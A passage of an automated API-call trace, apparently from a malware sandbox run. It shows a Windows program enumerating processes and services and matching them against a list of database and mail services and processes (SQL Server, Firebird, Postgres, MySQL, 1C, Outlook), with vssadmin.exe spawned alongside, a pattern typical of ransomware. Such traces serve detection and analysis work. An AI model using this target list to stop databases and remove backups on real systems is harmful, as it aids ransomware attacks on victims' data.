lstrlenW (lpString="criteria.exe") returned 12 [0081.754] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.754] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.754] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.755] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.755] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.756] lstrlenW (lpString="taskhost.exe") returned 12 [0081.756] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0081.757] lstrlenW (lpString="winhost.exe") returned 11 [0081.757] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.758] lstrlenW (lpString="cmd.exe") returned 7 [0081.758] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.759] lstrlenW (lpString="conhost.exe") returned 11 [0081.759] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0081.760] lstrlenW (lpString="vssadmin.exe") returned 12 [0081.760] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0081.760] CloseHandle (hObject=0x1ac) returned 1 [0081.761] Sleep (dwMilliseconds=0x1f4) [0082.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0082.525] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0082.526] GetLastError () returned 0xea [0082.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x3f00060 [0082.527] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f00060, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f00060, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0082.529] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0082.529] lstrlenW (lpString="Appinfo") returned 7 [0082.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0082.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0082.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0082.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0082.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0082.530] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0082.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.530] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0082.530] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0082.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0082.530] lstrlenW (lpString="AudioSrv") returned 8 [0082.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0082.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0082.530] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0082.530] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0082.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0082.531] lstrlenW (lpString="BFE") returned 3 [0082.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0082.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0082.531] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0082.531] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0082.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0082.531] lstrlenW (lpString="CryptSvc") returned 8 [0082.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0082.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0082.532] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0082.532] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0082.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0082.532] lstrlenW (lpString="CscService") returned 10 [0082.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0082.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0082.532] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0082.532] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0082.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0082.533] lstrlenW (lpString="DcomLaunch") returned 10 [0082.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.533] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0082.533] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0082.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0082.533] lstrlenW (lpString="Dhcp") returned 4 [0082.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0082.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0082.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0082.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0082.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0082.534] lstrlenW (lpString="Dnscache") returned 8 [0082.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0082.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0082.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0082.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0082.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0082.534] lstrlenW (lpString="DPS") returned 3 [0082.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0082.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0082.535] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0082.535] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0082.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0082.535] lstrlenW (lpString="eventlog") returned 8 [0082.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0082.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0082.535] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0082.535] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0082.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0082.536] lstrlenW (lpString="EventSystem") returned 11 [0082.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0082.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0082.536] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0082.536] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0082.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0082.536] lstrlenW (lpString="gpsvc") returned 5 [0082.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0082.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0082.536] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0082.537] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0082.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0082.537] lstrlenW (lpString="iphlpsvc") returned 8 [0082.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.537] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0082.537] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0082.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0082.537] lstrlenW (lpString="LanmanServer") returned 12 [0082.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0082.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0082.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0082.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0082.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0082.538] lstrlenW (lpString="LanmanWorkstation") returned 17 [0082.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0082.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0082.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0082.538] lstrlenW (lpString="lmhosts") returned 7 [0082.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0082.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0082.539] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0082.539] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0082.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0082.539] lstrlenW (lpString="MMCSS") returned 5 [0082.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0082.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0082.539] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0082.539] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0082.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0082.539] lstrlenW (lpString="MpsSvc") returned 6 [0082.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0082.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0082.540] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0082.540] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0082.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0082.540] lstrlenW (lpString="Netman") returned 6 [0082.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0082.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0082.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0082.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0082.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0082.540] lstrlenW (lpString="netprofm") returned 8 [0082.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0082.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0082.541] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0082.541] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0082.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0082.541] lstrlenW (lpString="NlaSvc") returned 6 [0082.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0082.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0082.541] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0082.541] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0082.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0082.541] lstrlenW (lpString="nsi") returned 3 [0082.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0082.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0082.542] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0082.542] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0082.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0082.542] lstrlenW (lpString="PcaSvc") returned 6 [0082.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0082.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0082.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0082.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0082.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0082.542] lstrlenW (lpString="PlugPlay") returned 8 [0082.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0082.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0082.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0082.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0082.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0082.543] lstrlenW (lpString="Power") returned 5 [0082.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0082.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0082.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0082.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0082.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0082.543] lstrlenW (lpString="ProfSvc") returned 7 [0082.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0082.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0082.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0082.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0082.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0082.543] lstrlenW (lpString="RpcEptMapper") returned 12 [0082.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0082.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0082.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0082.544] lstrlenW (lpString="RpcSs") returned 5 [0082.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0082.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0082.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0082.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0082.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0082.545] lstrlenW (lpString="SamSs") returned 5 [0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0082.545] lstrlenW (lpString="Schedule") returned 8 [0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0082.545] lstrlenW (lpString="SENS") returned 4 [0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0082.546] lstrlenW (lpString="ShellHWDetection") returned 16 [0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0082.546] lstrlenW (lpString="Spooler") returned 7 [0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0082.547] lstrlenW (lpString="SysMain") returned 7 [0082.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0082.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0082.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0082.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0082.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0082.547] lstrlenW (lpString="Themes") returned 6 [0082.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0082.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0082.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0082.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0082.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0082.548] lstrlenW (lpString="TrkWks") returned 6 [0082.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0082.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0082.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0082.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0082.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0082.548] lstrlenW (lpString="UxSms") returned 5 [0082.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0082.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0082.548] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0082.548] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0082.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0082.549] lstrlenW (lpString="WdiServiceHost") returned 14 [0082.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0082.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0082.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0082.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0082.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0082.549] lstrlenW (lpString="WdiSystemHost") returned 13 [0082.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0082.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0082.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0082.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0082.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0082.549] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0082.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0082.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0082.550] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0082.550] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0082.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0082.550] lstrlenW (lpString="Winmgmt") returned 7 [0082.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0082.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0082.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0082.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0082.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0082.550] lstrlenW (lpString="WPDBusEnum") returned 10 [0082.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0082.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0082.550] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0082.551] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0082.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0082.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0082.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0082.735] Process32FirstW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.735] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0082.736] lstrlenW (lpString="System") returned 6 [0082.736] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0082.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0082.736] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0082.737] lstrlenW (lpString="smss.exe") returned 8 [0082.737] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0082.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0082.737] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0082.737] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0082.737] 